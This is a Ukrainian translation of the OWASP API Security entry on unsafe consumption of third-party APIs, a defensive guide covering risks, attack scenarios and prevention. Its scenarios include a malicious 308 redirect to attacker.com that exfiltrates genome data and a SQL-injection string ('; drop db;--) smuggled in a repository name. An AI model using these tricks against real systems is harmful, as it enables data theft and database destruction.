Unsafe Consumption of APIs

Особливості цієї вразливості

Щоб використати цю проблему, зловмисники повинні ідентифікувати та потенційно скомпрометувати інші API/служби, з якими інтегровано цільовий API. Зазвичай ця інформація не є загальнодоступною.

Поширеність

Розробники, як правило, довіряють і не перевіряють кінцеві точки, які взаємодіють із зовнішніми чи сторонніми API, покладаючись що ніхто не буде робити нічого поганого. Зловмисники можуть ідентифікувати служби, з якими цільовий API інтегрується (джерела даних), і, зрештою, скомпрометувати їх.

Впливи

Вплив залежить від того, що цільовий API робить із отриманими даними. Успішне використання може призвести до розкриття конфіденційної інформації неавторизованим особам, багатьох видів ін’єкцій або відмови в обслуговуванні.

Як зрозуміти що API вразлива?

Розробники більше довіряють даним, отриманим від сторонніх API, ніж введення від користувача. Особливо це стосується API, які пропонують відомі компанії. Через це розробники, як правило, приймають слабкіші стандарти безпеки, наприклад, щодо перевірки та дезінфекції введених даних.

API може бути вразливим, якщо:

Взаємодіє з іншими API через незашифрований канал;
Не перевіряє належним чином і не очищає дані, зібрані з інших API, перед їх обробкою або передачею до наступних компонентів;
Сліпо дотримується перенаправлень;
Не обмежує кількість ресурсів, доступних для обробки відповідей сторонніх служб;
Не реалізує тайм-аути для взаємодії зі сторонніми службами;

Приклади сценаріїв атак

Сценарій №1

API покладається на службу третьої сторони, щоб отримувати бізнес-адреси, надані користувачами. Коли кінцевий користувач надає адресу API, вона надсилається сторонній службі, а повернуті дані потім зберігаються в локальній базі даних із підтримкою SQL.

Зловмисники використовують службу третьої сторони для зберігання корисного навантаження SQLi. Потім пейлоуд викрадає дані на контрольований сервер зловмисника у вразливому API.

Сценарій №2

Через API інтеграцію зі стороннім постачальником послуг, хочуть зробити безпечне зберігання конфіденційної медичної інформації користувача. Дані надсилаються через безпечне з’єднання за допомогою запиту HTTP, подібного до наведеного нижче:

POST /user/store_phr_record { "genome": "ACTAGTAG__TTGADDAAIICCTT…" }

Зловмисники знайшли спосіб скомпрометувати сторонній API, і він починає відповідати 308 Permanent Redirect на запит, подібний до попереднього.

HTTP/1.1 308 Permanent Redirect Location: https://attacker.com/

Оскільки API сліпо виконує перенаправлення від сторонніх розробників, він повторить той самий запит, включаючи конфіденційні дані користувача, але цього разу на сервер зловмисника.

Сценарій №3

Зловмисник може підготувати репозиторій git під назвою '; drop db;--.

Тепер, коли виконуватимуть інтеграцію до програми жертви зі зловмисним сховищем, корисне навантаження SQL-ін’єкції виконуватиметься в програмі, вважаючи, що ім’я сховища є безпечним введенням.

Як запобігти

Оцінюючи постачальників послуг, оцініть їхній рівень безпеки API.
Переконайтеся, що всі взаємодії API відбуваються через безпечний канал зв’язку (TLS).
Завжди перевіряйте та належним чином очищайте дані, отримані від інтегрованих API, перед їх використанням.
Підтримуйте білий список добре відомих місць, куди інтегровані API можуть перенаправляти ваші: не дотримуйтеся сліпих перенаправлень.